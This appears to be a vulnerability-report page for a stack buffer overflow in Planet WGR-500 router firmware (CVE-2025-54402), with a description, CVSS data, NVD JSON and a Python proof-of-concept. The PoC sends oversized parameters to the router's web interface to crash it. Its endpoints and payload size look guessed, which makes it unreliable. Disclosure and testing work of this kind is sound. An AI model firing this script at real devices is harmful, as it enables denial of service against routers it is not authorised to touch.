Security Vulnerability Report
中文
CVE-2025-54402 CVSS 8.8 HIGH

CVE-2025-54402

Published: 2025-10-07 14:15:38
Last Modified: 2025-11-03 18:16:59

Description

Multiple stack-based buffer overflow vulnerabilities exist in the formPingCmd functionality of Planet WGR-500 v1.3411b190912. A specially crafted series of HTTP requests can lead to stack-based buffer overflow. An attacker can send a series of HTTP requests to trigger these vulnerabilities.This buffer overflow is related to the `submit-url` and `ipaddr` request parameters combined.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:planet:wgr-500_firmware:1.3411b190912:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:planet:wgr-500:-:*:*:*:*:*:*:* - NOT VULNERABLE
Planet WGR-500 v1.3411b190912

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54402 PoC - Planet WGR-500 formPingCmd Stack Buffer Overflow # Vulnerability: Stack-based buffer overflow via submit-url and ipaddr parameters # Affected: Planet WGR-500 v1.3411b190912 import requests import sys TARGET_HOST = "http://192.168.1.1" # Router management interface USERNAME = "admin" # Low-privilege credentials PASSWORD = "password" # Buffer overflow payload - oversized string to trigger stack overflow # The combination of submit-url and ipaddr parameters triggers the vulnerability OVERFLOW_SIZE = 1024 # Adjust based on target buffer size PAYLOAD = "A" * OVERFLOW_SIZE def exploit(): """ Exploit stack-based buffer overflow in formPingCmd functionality. The vulnerability is triggered by sending HTTP requests with oversized submit-url and ipaddr parameters. """ session = requests.Session() # Step 1: Authenticate to the router with low-privilege credentials login_url = f"{TARGET_HOST}/login.cgi" login_data = { "username": USERNAME, "password": PASSWORD } try: session.post(login_url, data=login_data, timeout=10) print("[+] Authentication attempt completed") except Exception as e: print(f"[-] Authentication error: {e}") # Step 2: Send malicious HTTP request to formPingCmd endpoint # The submit-url and ipaddr parameters combined trigger the overflow ping_url = f"{TARGET_HOST}/apply.cgi" overflow_data = { "submit-url": PAYLOAD, # Overflow via submit-url parameter "ipaddr": PAYLOAD, # Overflow via ipaddr parameter "pingCmd": "ping", "pingAddr": "127.0.0.1" } print(f"[*] Sending overflow payload ({OVERFLOW_SIZE} bytes) to {ping_url}") try: response = session.post(ping_url, data=overflow_data, timeout=10) print(f"[+] Response status: {response.status_code}") if response.status_code == 500 or "error" in response.text.lower(): print("[!] Target may be vulnerable - server error detected") except requests.exceptions.Timeout: print("[!] Target timeout - possible crash/DoS condition") except requests.exceptions.ConnectionError: print("[!] Connection error - target may have crashed") except Exception as e: print(f"[!] Exception: {e}") print("[*] Exploit attempt completed") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54402", "sourceIdentifier": "[email protected]", "published": "2025-10-07T14:15:37.957", "lastModified": "2025-11-03T18:16:59.363", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Multiple stack-based buffer overflow vulnerabilities exist in the formPingCmd functionality of Planet WGR-500 v1.3411b190912. A specially crafted series of HTTP requests can lead to stack-based buffer overflow. An attacker can send a series of HTTP requests to trigger these vulnerabilities.This buffer overflow is related to the `submit-url` and `ipaddr` request parameters combined."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:planet:wgr-500_firmware:1.3411b190912:*:*:*:*:*:*:*", "matchCriteriaId": "B2595E4C-3CBF-44C8-B4E4-56498F94899E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:planet:wgr-500:-:*:*:*:*:*:*:*", "matchCriteriaId": "BD4C9C5C-B223-4AED-9210-E0ADA4150E0B"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2226", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2226", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}